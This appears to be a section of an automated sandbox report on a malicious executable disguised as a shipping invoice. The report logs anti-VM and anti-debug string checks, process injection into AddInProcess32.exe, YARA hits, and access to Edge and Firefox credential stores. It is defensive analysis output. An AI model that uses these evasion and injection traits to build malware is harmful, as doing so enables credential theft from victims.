Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C183C9A2 push ss; retf	0_2_00007FF7C183C9A4
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C18300BD pushad ; iretd	0_2_00007FF7C18300C1
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C183C86D push ss; iretd	0_2_00007FF7C183C86F
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C183D865 push ebp; iretd	0_2_00007FF7C183D868
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C18307B5 push eax; ret	0_2_00007FF7C18307EB
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Code function: 0_2_00007FF7C194060B push esp; retf 4810h	0_2_00007FF7C19406B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_02B3CC4E pushfd ; iretd	4_2_02B3CC5A

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	File created: \commercial invoice - bl - awb 7032805642.exe
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	File created: \commercial invoice - bl - awb 7032805642.exe
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	File created: \commercial invoice - bl - awb 7032805642.exe
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	File created: \commercial invoice - bl - awb 7032805642.exe
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	File created: \commercial invoice - bl - awb 7032805642.exe	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	File created: \commercial invoice - bl - awb 7032805642.exe	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	File created: \commercial invoice - bl - awb 7032805642.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Memory allocated: 19863B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Memory allocated: 1987D6E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2BF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2940000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7529			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1989			Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: AddInProcess32.exe, 00000004.00000002.2468385307.0000000005E00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1331684482.00000198756F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000004.00000002.2460982055.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: hgfsZrw6
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330921589.0000019865ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: COMMERCIAL INVOICE - BL - AWB 7032805642.exe, 00000000.00000002.1330707407.0000019865630000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug			Jump to behavior

Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.1987578f8c4.2.raw.unpack, NativeMethods.cs	Reference to suspicious API methods: xVirtualProtect(address, size, newProtect, out oldProtect)
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.1987578f8c4.2.raw.unpack, NativeMethods.cs	Reference to suspicious API methods: xLoadLibrary(libraryName)
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.1987578f8c4.2.raw.unpack, NativeMethods.cs	Reference to suspicious API methods: xGetProcAddress(moduleHandle, procName)
Source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, moEk.cs	Reference to suspicious API methods: EYAPsVT.OpenProcess(CgGfQLvbm.DuplicateHandle, bInheritHandle: true, (uint)_2y5.ProcessID)

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: A2F008	Jump to behavior

Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Queries volume information: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\COMMERCIAL INVOICE - BL - AWB 7032805642.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198757898c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.1987578f8c4.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.COMMERCIAL INVOICE - BL - AWB 7032805642.exe.198756f1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2464175604.0000000002C3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2464175604.0000000002C5A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2460982055.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2464175604.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1331684482.00000198756F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: COMMERCIAL INVOICE - BL - AWB 7032805642.exe PID: 3648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 7204, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
